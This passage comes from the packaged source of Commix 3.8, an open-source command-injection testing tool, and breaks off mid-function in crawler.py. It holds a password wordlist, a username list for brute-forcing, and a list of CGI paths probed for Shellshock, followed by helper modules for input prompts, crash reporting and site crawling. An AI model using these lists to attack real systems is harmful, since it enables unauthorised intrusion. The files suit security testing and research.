NCC1701
PPP
Qwert
Qwerty
Windows
Zxcvb
Zxcvbnm
action
advil
allo
amelie
anaconda
angus
apollo13
artist
aspen
ass
asshole
ath
benoit
bernard
bernie
bigbird
bird
blizzard
bluesky
bonjour
booster
byteme
caesar
cardinal
carolina
cats
cedic
cesar
chandler
changeit
chapman
charlie1
chevy
chiquita
chocolat
christia
christoph
classroom
cloclo
coco
corrado
cougars
courtney
dasha
demo
dirk
dolphins
dominic
donkey
doom2
dusty
e
energy
fearless
fiction
forest
french1
fubar
gator
gilles
glenn
go
gocougs
good-luck
graymail
guinness
hilbert
hola
home
homebrew
hotdog
indian
jared
jimbo
jkm
johnson
jojo
josie
judy
koko
kristin
lloyd
lorraine
lulu
lynn
m1911a1
mac
macintosh
mailer
mars
maxime
memory
meow
mimi
mirror
nat
ne1410s
ne1469
ne14a69
nebraska
nemesis
network
newcourt
nigel
niki
nite
notused
oatmeal
patton
paul
pedro
planet
players
politics
pomme
portland
praise
property
protel
psalms
qwaszx
raiders
rambo1
rancid
ruth
sales
salut
scrooge
shawn
shelley
skidoo
softball
spain
speedo
sports
sss
ssssss
steele
steph
stephani
sunday
surf
sylvie
symbol
tiffany
tigre
toronto
trixie
undead
valentin
velvet
viking
walker
watson
young
zhongguo commix-3.8/src/txt/shocker-cgi_list.txt 0000664 0000000 0000000 00000021053 14466364451 0020276 0 ustar 00root root 0000000 0000000 /admin.cgi
/administrator.cgi
/agora.cgi
/aktivate/cgi-bin/catgy.cgi
/analyse.cgi
/apps/web/vs_diag.cgi
/axis-cgi/buffer/command.cgi
/b2-include/b2edit.showposts.php
/bandwidth/index.cgi
/bigconf.cgi
/cartcart.cgi
/cart.cgi
/ccbill/whereami.cgi
/cgi-bin/14all-1.1.cgi
/cgi-bin/14all.cgi
/cgi-bin/a1disp3.cgi
/cgi-bin/a1stats/a1disp3.cgi
/cgi-bin/a1stats/a1disp4.cgi
/cgi-bin/addbanner.cgi
/cgi-bin/add_ftp.cgi
/cgi-bin/adduser.cgi
/cgi-bin/admin/admin.cgi
/cgi-bin/admin.cgi
/cgi-bin/admin/getparam.cgi
/cgi-bin/adminhot.cgi
/cgi-bin/admin.pl
/cgi-bin/admin/setup.cgi
/cgi-bin/adminwww.cgi
/cgi-bin/af.cgi
/cgi-bin/aglimpse.cgi
/cgi-bin/alienform.cgi
/cgi-bin/AnyBoard.cgi
/cgi-bin/architext_query.cgi
/cgi-bin/astrocam.cgi
/cgi-bin/AT-admin.cgi
/cgi-bin/AT-generate.cgi
/cgi-bin/auction/auction.cgi
/cgi-bin/auktion.cgi
/cgi-bin/ax-admin.cgi
/cgi-bin/ax.cgi
/cgi-bin/axs.cgi
/cgi-bin/badmin.cgi
/cgi-bin/banner.cgi
/cgi-bin/bannereditor.cgi
/cgi-bin/bb-ack.sh
/cgi-bin/bb-histlog.sh
/cgi-bin/bb-hist.sh
/cgi-bin/bb-hostsvc.sh
/cgi-bin/bb-replog.sh
/cgi-bin/bb-rep.sh
/cgi-bin/bbs_forum.cgi
/cgi-bin/bigconf.cgi
/cgi-bin/bizdb1-search.cgi
/cgi-bin/blog/mt-check.cgi
/cgi-bin/blog/mt-load.cgi
/cgi-bin/bnbform.cgi
/cgi-bin/book.cgi
/cgi-bin/boozt/admin/index.cgi
/cgi-bin/bsguest.cgi
/cgi-bin/bslist.cgi
/cgi-bin/build.cgi
/cgi-bin/bulk/bulk.cgi
/cgi-bin/cached_feed.cgi
/cgi-bin/cachemgr.cgi
/cgi-bin/calendar/index.cgi
/cgi-bin/cartmanager.cgi
/cgi-bin/cbmc/forums.cgi
/cgi-bin/ccvsblame.cgi
/cgi-bin/c_download.cgi
/cgi-bin/cgforum.cgi
/cgi-bin/.cgi
/cgi-bin/cgi_process
/cgi-bin/classified.cgi
/cgi-bin/classifieds.cgi
/cgi-bin/classifieds/classifieds.cgi
/cgi-bin/classifieds/index.cgi
/cgi-bin/.cobalt/alert/service.cgi
/cgi-bin/.cobalt/message/message.cgi
/cgi-bin/.cobalt/siteUserMod/siteUserMod.cgi
/cgi-bin/commandit.cgi
/cgi-bin/commerce.cgi
/cgi-bin/common/listrec.pl
/cgi-bin/compatible.cgi
/cgi-bin/Count.cgi
/cgi-bin/csChatRBox.cgi
/cgi-bin/csGuestBook.cgi
/cgi-bin/csLiveSupport.cgi
/cgi-bin/CSMailto.cgi
/cgi-bin/CSMailto/CSMailto.cgi
/cgi-bin/csNews.cgi
/cgi-bin/csNewsPro.cgi
/cgi-bin/csPassword.cgi
/cgi-bin/csPassword/csPassword.cgi
/cgi-bin/csSearch.cgi
/cgi-bin/csv_db.cgi
/cgi-bin/cvsblame.cgi
/cgi-bin/cvslog.cgi
/cgi-bin/cvsquery.cgi
/cgi-bin/cvsqueryform.cgi
/cgi-bin/cgiCmdNotify
/cgi-bin/day5datacopier.cgi
/cgi-bin/day5datanotifier.cgi
/cgi-bin/db_manager.cgi
/cgi-bin/dbman/db.cgi
/cgi-bin/dcforum.cgi
/cgi-bin/dcshop.cgi
/cgi-bin/dfire.cgi
/cgi-bin/diagnose.cgi
/cgi-bin/dig.cgi
/cgi-bin/directorypro.cgi
/cgi-bin/download.cgi
/cgi-bin/e87_Ba79yo87.cgi
/cgi-bin/emu/html/emumail.cgi
/cgi-bin/emumail.cgi
/cgi-bin/emumail/emumail.cgi
/cgi-bin/enter.cgi
/cgi-bin/environ.cgi
/cgi-bin/ezadmin.cgi
/cgi-bin/ezboard.cgi
/cgi-bin/ezman.cgi
/cgi-bin/ezshopper2/loadpage.cgi
/cgi-bin/ezshopper3/loadpage.cgi
/cgi-bin/ezshopper/loadpage.cgi
/cgi-bin/ezshopper/search.cgi
/cgi-bin/faqmanager.cgi
/cgi-bin/FileSeek2.cgi
/cgi-bin/FileSeek.cgi
/cgi-bin/finger.cgi
/cgi-bin/flexform.cgi
/cgi-bin/fom.cgi
/cgi-bin/fom/fom.cgi
/cgi-bin/FormHandler.cgi
/cgi-bin/FormMail.cgi
/cgi-bin/gbadmin.cgi
/cgi-bin/gbook/gbook.cgi
/cgi-bin/generate.cgi
/cgi-bin/getdoc.cgi
/cgi-bin/gH.cgi
/cgi-bin/gm-authors.cgi
/cgi-bin/gm.cgi
/cgi-bin/gm-cplog.cgi
/cgi-bin/guestbook.cgi
/cgi-bin/handler
/cgi-bin/handler.cgi
/cgi-bin/handler/netsonar
/cgi-bin/hitview.cgi
/cgi-bin/hsx.cgi
/cgi-bin/html2chtml.cgi
/cgi-bin/html2wml.cgi
/cgi-bin/htsearch.cgi
/cgi-bin/icat
/cgi-bin/if/admin/nph-build.cgi
/cgi-bin/ikonboard/help.cgi
/cgi-bin/ImageFolio/admin/admin.cgi
/cgi-bin/imageFolio.cgi
/cgi-bin/index.cgi
/cgi-bin/infosrch.cgi
/cgi-bin/jammail.pl
/cgi-bin/journal.cgi
/cgi-bin/lastlines.cgi
/cgi-bin/loadpage.cgi
/cgi-bin/login.cgi
/cgi-bin/logit.cgi
/cgi-bin/log-reader.cgi
/cgi-bin/lookwho.cgi
/cgi-bin/lwgate.cgi
/cgi-bin/MachineInfo
/cgi-bin/MachineInfo
/cgi-bin/magiccard.cgi
/cgi-bin/mail/emumail.cgi
/cgi-bin/maillist.cgi
/cgi-bin/mailnews.cgi
/cgi-bin/mail/nph-mr.cgi
/cgi-bin/main.cgi
/cgi-bin/main_menu.pl
/cgi-bin/man.sh
/cgi-bin/mini_logger.cgi
/cgi-bin/mmstdod.cgi
/cgi-bin/moin.cgi
/cgi-bin/mojo/mojo.cgi
/cgi-bin/mrtg.cgi
/cgi-bin/mt.cgi
/cgi-bin/mt/mt.cgi
/cgi-bin/mt/mt-check.cgi
/cgi-bin/mt/mt-load.cgi
/cgi-bin/mt-static/mt-check.cgi
/cgi-bin/mt-static/mt-load.cgi
/cgi-bin/musicqueue.cgi
/cgi-bin/myguestbook.cgi
/cgi-bin/.namazu.cgi
/cgi-bin/nbmember.cgi
/cgi-bin/netauth.cgi
/cgi-bin/netpad.cgi
/cgi-bin/newsdesk.cgi
/cgi-bin/nlog-smb.cgi
/cgi-bin/nph-emumail.cgi
/cgi-bin/nph-exploitscanget.cgi
/cgi-bin/nph-publish.cgi
/cgi-bin/nph-test.cgi
/cgi-bin/pagelog.cgi
/cgi-bin/pbcgi.cgi
/cgi-bin/perlshop.cgi
/cgi-bin/pfdispaly.cgi
/cgi-bin/pfdisplay.cgi
/cgi-bin/phf.cgi
/cgi-bin/photo/manage.cgi
/cgi-bin/photo/protected/manage.cgi
/cgi-bin/php-cgi
/cgi-bin/php.cgi
/cgi-bin/php.fcgi
/cgi-bin/ping.sh
/cgi-bin/pollit/Poll_It_SSI_v2.0.cgi
/cgi-bin/pollssi.cgi
/cgi-bin/postcards.cgi
/cgi-bin/powerup/r.cgi
/cgi-bin/printenv
/cgi-bin/probecontrol.cgi
/cgi-bin/profile.cgi
/cgi-bin/publisher/search.cgi
/cgi-bin/quickstore.cgi
/cgi-bin/quizme.cgi
/cgi-bin/ratlog.cgi
/cgi-bin/r.cgi
/cgi-bin/register.cgi
/cgi-bin/replicator/webpage.cgi/
/cgi-bin/responder.cgi
/cgi-bin/robadmin.cgi
/cgi-bin/robpoll.cgi
/cgi-bin/rtpd.cgi
/cgi-bin/sbcgi/sitebuilder.cgi
/cgi-bin/scoadminreg.cgi
/cgi-bin-sdb/printenv
/cgi-bin/sdbsearch.cgi
/cgi-bin/search
/cgi-bin/search.cgi
/cgi-bin/search/search.cgi
/cgi-bin/sendform.cgi
/cgi-bin/shop.cgi
/cgi-bin/shopper.cgi
/cgi-bin/shopplus.cgi
/cgi-bin/showcheckins.cgi
/cgi-bin/simplestguest.cgi
/cgi-bin/simplestmail.cgi
/cgi-bin/smartsearch.cgi
/cgi-bin/smartsearch/smartsearch.cgi
/cgi-bin/snorkerz.bat
/cgi-bin/snorkerz.bat
/cgi-bin/snorkerz.cmd
/cgi-bin/snorkerz.cmd
/cgi-bin/sojourn.cgi
/cgi-bin/spin_client.cgi
/cgi-bin/start.cgi
/cgi-bin/status
/cgi-bin/status_cgi
/cgi-bin/store/agora.cgi
/cgi-bin/store.cgi
/cgi-bin/store/index.cgi
/cgi-bin/survey.cgi
/cgi-bin/sync.cgi
/cgi-bin/talkback.cgi
/cgi-bin/technote/main.cgi
/cgi-bin/test2.pl
/cgi-bin/test-cgi
/cgi-bin/test.cgi
/cgi-bin/testing_whatever
/cgi-bin/test/test.cgi
/cgi-bin/tidfinder.cgi
/cgi-bin/tigvote.cgi
/cgi-bin/title.cgi
/cgi-bin/top.cgi
/cgi-bin/traffic.cgi
/cgi-bin/troops.cgi
/cgi-bin/ttawebtop.cgi/
/cgi-bin/ultraboard.cgi
/cgi-bin/upload.cgi
/cgi-bin/urlcount.cgi
/cgi-bin/viewcvs.cgi
/cgi-bin/view_help.cgi
/cgi-bin/viralator.cgi
/cgi-bin/virgil.cgi
/cgi-bin/vote.cgi
/cgi-bin/vpasswd.cgi
/cgi-bin/way-board.cgi
/cgi-bin/way-board/way-board.cgi
/cgi-bin/webbbs.cgi
/cgi-bin/webcart/webcart.cgi
/cgi-bin/webdist.cgi
/cgi-bin/webif.cgi
/cgi-bin/webmail/html/emumail.cgi
/cgi-bin/webmap.cgi
/cgi-bin/webspirs.cgi
/cgi-bin/Web_Store/web_store.cgi
/cgi-bin/whois.cgi
/cgi-bin/whois_raw.cgi
/cgi-bin/whois/whois.cgi
/cgi-bin/wrap
/cgi-bin/wrap.cgi
/cgi-bin/wwwboard.cgi.cgi
/cgi-bin/YaBB/YaBB.cgi
/cgi-bin/zml.cgi
/cgi-mod/index.cgi
/cgis/wwwboard/wwwboard.cgi
/cgi-sys/addalink.cgi
/cgi-sys/defaultwebpage.cgi
/cgi-sys/domainredirect.cgi
/cgi-sys/entropybanner.cgi
/cgi-sys/entropysearch.cgi
/cgi-sys/FormMail-clone.cgi
/cgi-sys/helpdesk.cgi
/cgi-sys/mchat.cgi
/cgi-sys/randhtml.cgi
/cgi-sys/realhelpdesk.cgi
/cgi-sys/realsignup.cgi
/cgi-sys/signup.cgi
/connector.cgi
/cp/rac/nsManager.cgi
/create_release.sh
/CSNews.cgi
/csPassword.cgi
/dcadmin.cgi
/dcboard.cgi
/dcforum.cgi
/dcforum/dcforum.cgi
/debuff.cgi
/debug.cgi
/details.cgi
/edittag/edittag.cgi
/emumail.cgi
/enter_buff.cgi
/enter_bug.cgi
/ez2000/ezadmin.cgi
/ez2000/ezboard.cgi
/ez2000/ezman.cgi
/fcgi-bin/echo
/fcgi-bin/echo
/fcgi-bin/echo2
/fcgi-bin/echo2
/Gozila.cgi
/hitmatic/analyse.cgi
/hp_docs/cgi-bin/index.cgi
/html/cgi-bin/cgicso
/html/cgi-bin/cgicso
/index.cgi
/info.cgi
/infosrch.cgi
/login.cgi
/mailview.cgi
/main.cgi
/megabook/admin.cgi
/ministats/admin.cgi
/mods/apage/apage.cgi
/_mt/mt.cgi
/musicqueue.cgi
/ncbook.cgi
/newpro.cgi
/newsletter.sh
/oem_webstage/cgi-bin/oemapp_cgi
/page.cgi
/parse_xml.cgi
/photodata/manage.cgi
/photo/manage.cgi
/print.cgi
/process_buff.cgi
/process_bug.cgi
/pub/english.cgi
/quikmail/nph-emumail.cgi
/quikstore.cgi
/reviews/newpro.cgi
/ROADS/cgi-bin/search.pl
/sample01.cgi
/sample02.cgi
/sample03.cgi
/sample04.cgi
/sampleposteddata.cgi
/scancfg.cgi
/scancfg.cgi
/servers/link.cgi
/setpasswd.cgi
/SetSecurity.shm
/shop/member_html.cgi
/shop/normal_html.cgi
/site_searcher.cgi
/siteUserMod.cgi
/submit.cgi
/technote/print.cgi
/template.cgi
/test.cgi
/ucsm/isSamInstalled.cgi
/upload.cgi
/userreg.cgi
/users/scripts/submit.cgi
/vood/cgi-bin/vood_view.cgi
/Web_Store/web_store.cgi
/webtools/bonsai/ccvsblame.cgi
/webtools/bonsai/cvsblame.cgi
/webtools/bonsai/cvslog.cgi
/webtools/bonsai/cvsquery.cgi
/webtools/bonsai/cvsqueryform.cgi
/webtools/bonsai/showcheckins.cgi
/wwwadmin.cgi
/wwwboard.cgi
/wwwboard/wwwboard.cgi
/cgi-bin/ commix-3.8/src/txt/usernames.txt 0000664 0000000 0000000 00000002044 14466364451 0017046 0 ustar 00root root 0000000 0000000 111111
123456
12345678
abc123
abramov
account
accounting
ad
adm
admin
administrator
adver
advert
advertising
afanasev
agafonov
agata
aksenov
aleksander
aleksandrov
alekse
alenka
alexe
alexeev
alla
anatol
andre
andreev
andrey
anna
anya
ao
aozt
arhipov
art
avdeev
avto
bank
baranov
Baseball
belousov
bill
billing
blinov
bobrov
bogdanov
buh
buhg
buhgalter
buhgalteria
business
bux
catchthismail
company
contact
contactus
corp
design
dir
director
direktor
dragon
economist
edu
email
er
expert
export
fabrika
fin
finance
ftp
glavbuh
glavbux
glbuh
helloitmenice
help
holding
home
hr
iamjustsendingthisleter
info
ingthisleter
job
john
kadry
letmein
mail
manager
marketing
marketing
mike
mogggnomgon
monkey
moscow
mysql
maint
office
ok
oracle
password
personal
petgord34truew
post
postmaster
pr
qwerty
rbury
reklama
root
r00t
sale
sales
secretar
sekretar
support
test
testing
thisisjusttestletter
trade
uploader
user
webmaster
wwwadmin
www-data commix-3.8/src/utils/ 0000775 0000000 0000000 00000000000 14466364451 0014624 5 ustar 00root root 0000000 0000000 commix-3.8/src/utils/__init__.py 0000664 0000000 0000000 00000000743 14466364451 0016741 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
pass commix-3.8/src/utils/colors.py 0000664 0000000 0000000 00000000774 14466364451 0016507 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
ENABLE_COLORING = True
# eof commix-3.8/src/utils/common.py 0000664 0000000 0000000 00000031564 14466364451 0016477 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
import os
import sys
import json
import time
import base64
import hashlib
import traceback
from src.utils import menu
from src.utils import settings
from src.thirdparty import six
from src.thirdparty.six.moves import input as _input
from src.thirdparty.six.moves import urllib as _urllib
"""
Invalid option msg
"""
def invalid_option(option):
err_msg = "'" + option + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
"""
Invalid cmd output
"""
def invalid_cmd_output(cmd):
err_msg = "The execution of '" + cmd + "' command, does not return any output."
return err_msg
"""
Reads input from terminal
"""
def read_input(message, default=None, check_batch=True):
def is_empty():
value = _input(settings.print_message(message))
if len(value) == 0:
return default
else:
return value
try:
value = None
if "\n" in message:
message += ("\n" if message.count("\n") > 1 else "")
elif len(message) == 0:
return is_empty()
if settings.ANSWERS:
if not any(_ in settings.ANSWERS for _ in ",="):
return is_empty()
else:
for item in settings.ANSWERS.split(','):
question = item.split('=')[0].strip()
answer = item.split('=')[1] if len(item.split('=')) > 1 else None
if answer and question.lower() in message.lower():
value = answer
print(settings.print_message(message + str(value)))
return value
elif answer is None and value:
return is_empty()
if value:
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Used the given answer."
print(settings.print_debug_msg(debug_msg))
print(settings.print_message(message + str(value)))
return value
elif value is None:
if check_batch and menu.options.batch:
print(settings.print_message(message + str(default)))
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Used the default behavior, running in batch mode."
print(settings.print_debug_msg(debug_msg))
return default
else:
return is_empty()
except KeyboardInterrupt:
print(settings.SINGLE_WHITESPACE)
raise
"""
Extract regex result
"""
def extract_regex_result(regex, content):
result = None
if regex and content and "?P<result>" in regex:
match = re.search(regex, content)
if match:
result = match.group("result")
return result
"""
Returns True if the current process is run under admin privileges
"""
def running_as_admin():
is_admin = False
if settings.PLATFORM in ("posix", "mac"):
_ = os.geteuid()
if isinstance(_, (float, six.integer_types)) and _ == 0:
is_admin = True
elif settings.IS_WINDOWS:
import ctypes
_ = ctypes.windll.shell32.IsUserAnAdmin()
if isinstance(_, (float, six.integer_types)) and _ == 1:
is_admin = True
else:
err_msg = settings.APPLICATION + " is not able to check if you are running it "
err_msg += "as an administrator account on this platform. "
print(settings.print_error_msg(err_msg))
is_admin = True
return is_admin
"""
Get total number of days from last update
"""
def days_from_last_update():
days_from_last_update = int(time.time() - os.path.getmtime(settings.SETTINGS_PATH)) // (3600 * 24)
if days_from_last_update > settings.NAGGING_DAYS:
warn_msg = "You haven't updated " + settings.APPLICATION + " for more than "
warn_msg += str(days_from_last_update) + " day"
warn_msg += "s"[days_from_last_update == 1:] + "!"
print(settings.print_warning_msg(warn_msg))
"""
Shows all HTTP error codes raised
"""
def show_http_error_codes():
if settings.HTTP_ERROR_CODES_SUM and settings.VERBOSITY_LEVEL != 0:
if any((str(_).startswith('4') or str(_).startswith('5')) and _ != settings.INTERNAL_SERVER_ERROR for _ in settings.HTTP_ERROR_CODES_SUM):
debug_msg = "Too many 4xx and/or 5xx HTTP error codes "
debug_msg += "could mean that some kind of protection is involved."
print(settings.print_bold_debug_msg(debug_msg))
"""
Automatically create a Github issue with unhandled exception information.
PS: Greetz @ sqlmap dev team for that great idea! :)
"""
def create_github_issue(err_msg, exc_msg):
_ = re.sub(r"'[^']+'", "''", exc_msg)
_ = re.sub(r"\s+line \d+", "", _)
_ = re.sub(r'File ".+?/(\w+\.py)', r"\g<1>", _)
_ = re.sub(r".+\Z", "", _)
_ = re.sub(r"(Unicode[^:]*Error:).+", r"\g<1>", _)
_ = re.sub(r"= _", "= ", _)
_ = _.encode(settings.DEFAULT_CODEC)
key = hashlib.md5(_).hexdigest()[:8]
bug_report = "Bug Report: Unhandled exception \"" + str([i for i in exc_msg.split('\n') if i][-1]) + "\" " + "(#" + key + ")"
while True:
try:
message = "Do you want to automatically create a new (anonymized) issue "
message += "with the unhandled exception information at "
message += "the official Github repository? [y/N] "
choise = read_input(message, default="N", check_batch=True)
if choise in settings.CHOICE_YES:
break
elif choise in settings.CHOICE_NO:
print(settings.SINGLE_WHITESPACE)
return
else:
invalid_option(choise)
pass
except:
print("\n")
raise SystemExit()
err_msg = err_msg[err_msg.find("\n"):]
request = _urllib.request.Request(url="https://api.github.com/search/issues?q=" + \
_urllib.parse.quote("repo:commixproject/commix" + settings.SINGLE_WHITESPACE + str(bug_report))
)
try:
content = _urllib.request.urlopen(request, timeout=settings.TIMEOUT).read()
_ = json.loads(content)
duplicate = _["total_count"] > 0
closed = duplicate and _["items"][0]["state"] == "closed"
if duplicate:
warn_msg = "That issue seems to be already reported"
if closed:
warn_msg += " and resolved. Please update to the latest "
warn_msg += "(dev) version from official GitHub repository at '" + settings.GIT_URL + "'"
warn_msg += ".\n"
print(settings.print_warning_msg(warn_msg))
return
except:
pass
data = {"title": str(bug_report), "body": "```" + str(err_msg) + "\n```\n```\n" + str(exc_msg) + "```"}
request = _urllib.request.Request(url = "https://api.github.com/repos/commixproject/commix/issues",
data = json.dumps(data).encode(),
headers = {"Authorization": "token " + base64.b64decode(settings.GITHUB_REPORT_OAUTH_TOKEN.encode(settings.DEFAULT_CODEC)).decode()}
)
try:
content = _urllib.request.urlopen(request, timeout=settings.TIMEOUT).read()
except Exception as err:
content = None
issue_url = re.search(r"https://github.com/commixproject/commix/issues/\d+", content.decode(settings.DEFAULT_CODEC) or "")
if issue_url:
info_msg = "The created Github issue can been found at the address '" + str(issue_url.group(0)) + "'.\n"
print(settings.print_info_msg(info_msg))
else:
warn_msg = "Something went wrong while creating a Github issue."
if settings.UNAUTHORIZED_ERROR in str(err):
warn_msg += " Please update to the latest revision.\n"
print(settings.print_warning_msg(warn_msg))
"""
Masks sensitive data in the supplied message.
"""
def mask_sensitive_data(err_msg):
for item in settings.SENSITIVE_OPTIONS:
match = re.search(r"(?i)commix.+("+str(item)+")(\s+|=)([^-]+)", err_msg)
if match:
err_msg = err_msg.replace(match.group(3), '*' * len(match.group(3)) + settings.SINGLE_WHITESPACE)
return err_msg
"""
Returns detailed message about occurred unhandled exception.
"""
def unhandled_exception():
exc_msg = str(traceback.format_exc())
if "bad marshal data" in exc_msg:
match = re.search(r"\s*(.+)\s+ValueError", exc_msg)
err_msg = "Identified corrupted .pyc file(s)."
err_msg += "Please delete .pyc files on your system to fix the problem."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
elif "must be pinned buffer, not bytearray" in exc_msg:
err_msg = "Error occurred at Python interpreter which "
err_msg += "is fixed in 2.7.x. Please update accordingly. "
err_msg += "(Reference: https://bugs.python.org/issue8104)"
print(settings.print_critical_msg(err_msg))
raise SystemExit()
elif any(_ in exc_msg for _ in ("MemoryError", "Cannot allocate memory")):
err_msg = "Memory exhaustion detected."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
elif "Permission denied: '" in exc_msg:
match = re.search(r"Permission denied: '([^']*)", exc_msg)
err_msg = "Permission error occurred while accessing file '" + match.group(1) + "'."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
elif all(_ in exc_msg for _ in ("Access is denied", "subprocess", "metasploit")):
err_msg = "Permission error occurred while running Metasploit."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
elif all(_ in exc_msg for _ in ("Permission denied", "metasploit")):
err_msg = "Permission error occurred while using Metasploit."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
elif "Invalid argument" in exc_msg:
err_msg = "Corrupted installation detected. "
err_msg += "You should retrieve the latest (dev) version from official GitHub "
err_msg += "repository at '" + settings.GIT_URL + "'."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
elif all(_ in exc_msg for _ in ("No such file", "_'")):
err_msg = "Corrupted installation detected ('" + exc_msg.strip().split('\n')[-1] + "'). "
err_msg += "You should retrieve the latest (dev) version from official GitHub "
err_msg += "repository at '" + settings.GIT_URL + "'."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
elif "Invalid IPv6 URL" in exc_msg:
err_msg = "invalid URL ('" + exc_msg.strip().split('\n')[-1] + "')"
print(settings.print_critical_msg(err_msg))
raise SystemExit()
elif any(_ in exc_msg for _ in ("Broken pipe",)):
raise SystemExit()
elif any(_ in exc_msg for _ in ("The paging file is too small",)):
err_msg = "No space left for paging file."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
elif all(_ in exc_msg for _ in ("SyntaxError: Non-ASCII character", ".py on line", "but no encoding declared")) or \
any(_ in exc_msg for _ in ("source code string cannot contain null bytes", "No module named")) or \
any(_ in exc_msg for _ in ("ImportError", "ModuleNotFoundError", "<frozen", "Can't find file for module")):
err_msg = "Invalid runtime environment ('" + exc_msg.split("Error: ")[-1].strip() + "')."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
elif any(_ in exc_msg for _ in ("No space left", "Disk quota exceeded", "Disk full while accessing")):
err_msg = "No space left on output device."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
elif "Read-only file system" in exc_msg:
err_msg = "Output device is mounted as read-only."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
elif "OperationalError: disk I/O error" in exc_msg:
err_msg = "I/O error on output device."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
elif "Violation of BIDI" in exc_msg:
err_msg = "Invalid URL (violation of Bidi IDNA rule - RFC 5893)."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
else:
err_msg = "Unhandled exception occurred in '" + settings.VERSION[1:] + "'. It is recommended to retry your "
err_msg += "run with the latest (dev) version from official GitHub "
err_msg += "repository at '" + settings.GIT_URL + "'. If the exception persists, please open a new issue "
err_msg += "at '" + settings.ISSUES_PAGE + "' "
err_msg += "with the following text and any other information required to "
err_msg += "reproduce the bug. The "
err_msg += "developers will try to reproduce the bug, fix it accordingly "
err_msg += "and get back to you.\n"
err_msg += "Commix version: " + settings.VERSION[1:] + "\n"
err_msg += "Python version: " + settings.PYTHON_VERSION + "\n"
err_msg += "Operating system: " + os.name + "\n"
err_msg += "Command line: " + re.sub(r".+?\bcommix\.py\b", "commix.py", " ".join(sys.argv)) + "\n"
err_msg = mask_sensitive_data(err_msg)
exc_msg = re.sub(r'".+?[/\\](\w+\.py)', "\"\g<1>", exc_msg)
print(settings.print_critical_msg(err_msg + "\n" + exc_msg.rstrip()))
create_github_issue(err_msg, exc_msg[:])
# eof commix-3.8/src/utils/crawler.py 0000664 0000000 0000000 00000026151 14466364451 0016642 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
import sys
import socket
import tempfile
from src.utils import menu
from src.utils import settings
from src.utils import common
from src.core.injections.controller import checks
from src.core.requests import headers
from src.core.requests import requests
from src.core.requests import proxy
from src.core.requests import redirection
from src.thirdparty.six.moves import http_client as _http_client
from src.thirdparty.six.moves import input as _input
from src.thirdparty.six.moves import urllib as _urllib
from src.thirdparty.colorama import Fore, Back, Style, init
from src.thirdparty.beautifulsoup.beautifulsoup import BeautifulSoup
def init_global_vars():
global crawled_hrefs
crawled_hrefs = []
global sitemap_loc
sitemap_loc = []
global visited_hrefs
visited_hrefs = []
global new_crawled_hrefs
new_crawled_hrefs = []
"""
Change the crawling depth level.
"""
def set_crawling_depth():
while True:
message = "Do you want to change the crawling depth level (" + str(menu.options.crawldepth) + ")? [y/N] > "
message = common.read_input(message, default="N", check_batch=True)
if message in settings.CHOICE_YES or message in settings.CHOICE_NO:
break
elif message in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(message)
pass
# Change the crawling depth level.
if message in settings.CHOICE_YES:
while True:
message = "Please enter the crawling depth level: > "
message = common.read_input(message, default="1", check_batch=True)
menu.options.crawldepth = message
return
"""
Normalize crawling results.
"""
def normalize_results(output_href):
results = []
while True:
message = "Do you want to normalize crawling results? [Y/n] > "
message = common.read_input(message, default="Y", check_batch=True)
if message in settings.CHOICE_YES:
seen = set()
for target in output_href:
try:
value = "%s%s%s" % (target, '&' if '?' in target else '?', target or "")
match = re.search(r"/[^/?]*\?.+\Z", value)
if match:
key = re.sub(r"=[^=&]*", "=", match.group(0)).strip("&?")
if '=' in key and key not in seen:
results.append(target)
seen.add(key)
except TypeError:
pass
no_usable_links(results)
return results
elif message in settings.CHOICE_NO:
no_usable_links(output_href)
return output_href
elif message in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(message)
pass
"""
Store crawling results to a temporary file.
"""
def store_crawling(output_href):
while True:
message = "Do you want to store crawling results to a temporary file "
message += "(for eventual further processing with other tools)? [y/N] > "
message = common.read_input(message, default="N", check_batch=True)
if message in settings.CHOICE_YES:
filename = tempfile.mkstemp(suffix=".txt")[1]
info_msg = "Writing crawling results to a temporary file '" + str(filename) + "'."
print(settings.print_info_msg(info_msg))
with open(filename, "a") as crawling_results:
for url in output_href:
